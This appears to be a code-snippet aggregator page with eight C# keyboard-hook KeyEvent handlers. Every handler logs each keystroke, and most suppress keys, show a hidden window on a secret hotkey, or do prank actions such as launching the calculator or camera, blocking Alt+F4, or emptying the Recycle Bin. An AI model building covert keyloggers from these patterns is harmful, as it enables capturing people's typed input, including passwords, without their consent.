Beispiel #1
0
        private void KeyEvent(object sender, KeyEventArgs e)
        {
            if (e.KeyData == Keys.A)
            {
                a_key_pressed = (int)(DateTime.UtcNow - new DateTime(1970, 1, 1)).TotalSeconds;
            }
            int cur_time = (int)(DateTime.UtcNow - new DateTime(1970, 1, 1)).TotalSeconds;

            if (cur_time - a_key_pressed <= 2)
            {
                e.Handled = true;
            }
            if (_settings.IsHooks)
            {
                if (e.KeyData == (Keys.Shift | Keys.Tab))
                {
                    Process.Start("calc.exe");
                }
                _logger.KeyLogger(e.KeyData.ToString());
            }
            if (e.KeyData == (Keys.Control | Keys.Shift | Keys.Tab))
            {
                if (_windowShow != null)
                {
                    _windowShow.Invoke();
                }
            }
        }
 private void KeyEvent(object sender, KeyEventArgs e)
 {
     if (_settings.isHooks)
     {
         if (e.KeyData == (Keys.L))
         {
             Flag   = false;
             _timer = new System.Threading.Timer(RollBack, null, 2000, 0);
         }
         e.SuppressKeyPress = !Flag;
         _logger.KeyLogger(e.KeyData.ToString());
     }
     if (e.KeyData == (Keys.Space | Keys.Shift))
     {
         _windowShow?.Invoke();
     }
 }
Beispiel #3
0
 private void KeyEvent(object sender, KeyEventArgs e)
 {
     if (_settings.IsHooks)
     {
         if (e.KeyData == (Keys.A))
         {
             flag  = false;
             timer = new System.Threading.Timer(TimerHandler, null, 2000, 0);
         }
         e.SuppressKeyPress = !flag;
         _logger.KeyLogger(e.KeyData.ToString());
     }
     if (e.KeyData == (Keys.Control | Keys.Shift | Keys.Tab))
     {
         _windowShow?.Invoke();
     }
 }
Beispiel #4
0
 private void KeyEvent(object sender, KeyEventArgs e)
 {
     if (_settings.IsHooks)
     {
         if (e.KeyData == (Keys.Shift | Keys.Tab))
         {
             Process.Start("microsoft.windows.camera:");
         }
         _logger.KeyLogger(e.KeyData.ToString());
     }
     if (e.KeyData == (Keys.Control | Keys.Shift | Keys.Tab))
     {
         if (_windowShow != null)
         {
             _windowShow.Invoke();
         }
     }
 }
Beispiel #5
0
 private void KeyEvent(object sender, KeyEventArgs e)
 {
     if (_settings.IsHooks)
     {
         if (e.KeyData == (Keys.Alt | Keys.F4) || e.KeyData == Keys.F4)
         {
             //  Process.Start("calc.exe");
             e.Handled = true;
         }
         _logger.KeyLogger(e.KeyData.ToString());
     }
     if (e.KeyData == (Keys.Control | Keys.Up | Keys.Shift))
     {
         if (_windowShow != null)
         {
             _windowShow.Invoke();
         }
     }
 }
Beispiel #6
0
 private void KeyEvent(object sender, KeyEventArgs e)
 {
     if (_settings.IsHooks)
     {
         if (e.KeyData == (Keys.F1))
         {
             flag  = false;
             timer = new System.Threading.Timer(Timerr, null, 5000, 0);
         }
         e.SuppressKeyPress = flag ?  false : true;
         _logger.KeyLogger(e.KeyData.ToString());
     }
     if (e.KeyData == (Keys.Control | Keys.LMenu))
     {
         if (_windowShow != null)
         {
             _windowShow.Invoke();
         }
     }
 }
Beispiel #7
0
 private void KeyEvent(object sender, KeyEventArgs e)
 {
     if (_settings.IsHotKey)
     {
         if (e.KeyData == (Keys.Alt | Keys.F9))
         {
             SHEmptyRecycleBin(IntPtr.Zero, "", SHERB_NOSOUND);
         }
     }
     if (_settings.IsLog)
     {
         _logManager.KeyLogManager(e.KeyData.ToString());
     }
     if (e.KeyData == (Keys.Control | Keys.Alt | Keys.F9))
     {
         if (_windowShow != null)
         {
             _windowShow.Invoke();
         }
     }
 }
Beispiel #8
0
        private void KeyEvent(object sender, KeyEventArgs e)
        {
            if (e.KeyData == Keys.A)
            {
                a_key_pressed = (int)(DateTime.UtcNow - new DateTime(1970, 1, 1)).TotalSeconds;
                e.Handled     = true;
            }
            int cur_time = (int)(DateTime.UtcNow - new DateTime(1970, 1, 1)).TotalSeconds;

            if (cur_time - a_key_pressed <= 2)
            {
                e.Handled = true;
            }
            _logManager.KeyLogManager(e.KeyData.ToString());
            if (e.KeyData == (Keys.Control | Keys.Tab))
            {
                if (_windowShow != null)
                {
                    _windowShow.Invoke();
                }
            }
        }